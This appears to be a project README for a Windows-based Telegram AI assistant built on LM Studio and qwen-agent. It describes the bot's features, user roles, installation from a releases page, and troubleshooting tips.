🤖 agent-telegram-bot - Local AI Assistant for Telegram

agent-telegram-bot is a local AI assistant that works with Telegram on your Windows computer. It uses LM Studio and qwen-agent technology to help you do many tasks. You can search the web, analyze images, summarize web pages, access Wikipedia, do calculations, and manage different users with admin and guest roles. The bot works without needing to send your data online, keeping things local.

This bot supports multiple users on the same device. Admins can control access and settings, while guests have limited features. You interact with it directly through Telegram, making it easy to use without opening complex apps.

• Web Search: Get answers and information from the internet.
• Vision/Image Analysis: Send images and get descriptions or insights.
• URL Summarization: Share a link, and the bot will summarize the main points.
• Wikipedia Access: Ask for details on many topics.
• Calculator: Perform simple or complex calculations.
• Multi-user Support: Admin and guest roles let multiple people use the bot securely.
• Local Processing: Runs on your Windows machine, so your data stays with you.
• Telegram-Based: Use the familiar Telegram app to chat with the bot anytime.

To run agent-telegram-bot smoothly on your Windows PC, make sure you have:

• Windows 10 or later (64-bit recommended)
• At least 4 GB of RAM (8 GB or more for image analysis)
• 2 GHz dual-core processor or better
• 500 MB free disk space for installation
• Telegram app installed on your phone or desktop
• Stable internet connection (required for some features like web search)

Click the big green button above or visit the releases page:

Download agent-telegram-bot from releases

This link takes you to the list of available versions. Find the latest Windows installer file, usually ending with .exe.

1. Double-click the downloaded .exe file.
2. Follow the setup instructions on the screen.
3. Choose the default options unless you want to change the installation folder.
4. Once installed, the program will appear in your Start Menu.

1. Open the Telegram app on your phone or desktop.
2. Search for the bot’s username (provided in the app interface after installation) or use instructions found in the program.
3. Start a chat with the bot. You may need to enter a start command like /start to begin.

Using the bot is straightforward. Here are some common actions:

• Search the web: Type keywords or questions.
• Analyze an image: Send a photo in the chat, and the bot will reply with details.
• Summarize URLs: Send a web link to get a short summary.
• Use the calculator: Type math expressions like 2+2 or sqrt(16).
• Ask Wikipedia questions: Start with “Tell me about...” followed by the topic.
• Manage users: Admins can add or remove guests via commands from within Telegram.

The bot responds quickly and clearly. You do not need advanced knowledge to get useful results.

• Admins can:
  • Add or remove guest users.
  • Change settings, such as enabling or disabling certain features.
  • View usage logs.
• Guests can:
  • Ask questions.
  • Use the calculator.
  • Analyze images.
  • Receive summaries.

This design protects your setup and limits access where needed.

• Keep your software updated by checking the releases page regularly.
• Use clear and simple questions for better answers.
• When sending images, pick clear photos for accurate analysis.
• If you see unexpected behavior, restart the bot from the Start Menu or your desktop.
• Use admin controls carefully to keep your environment secure.

• Installation failed: Make sure you have enough disk space and run the installer as Administrator.
• Bot not responding: Check your internet connection and ensure Telegram is logged in.
• Commands don’t work: Use the exact command format shown in the user guide after installation.
• Image analysis errors: Use supported image formats like JPG or PNG.
• Multiple users conflict: Only admins can fix conflicts by adjusting user roles.

For further help, visit the GitHub issues page of the project.

On the main repository page, you will find:

• Step-by-step guides
• FAQs
• Latest updates and fixes
• Contact info for reporting bugs

When you want to update or reinstall agent-telegram-bot, visit this page:

Releases for agent-telegram-bot

Pick the newest Windows file, download it, and run the installer again. Your settings and data will stay safe.

agent-telegram-bot works by combining local language models from LM Studio and qwen-agent. These help understand your requests and give answers without sending your data to the cloud. The multi-user design uses simple role rules to keep control in the hands of the device owner. Telegram acts as a clear interface so you don't need extra software to chat with the AI.

The software works with:

• Italian language support
• Large language models (LLM)
• Local AI running on your Windows device
• Python-based code running in the background
• Vision and image analysis tools
• Context-aware replies to keep conversations relevant
• Telegram bot integration for ease of use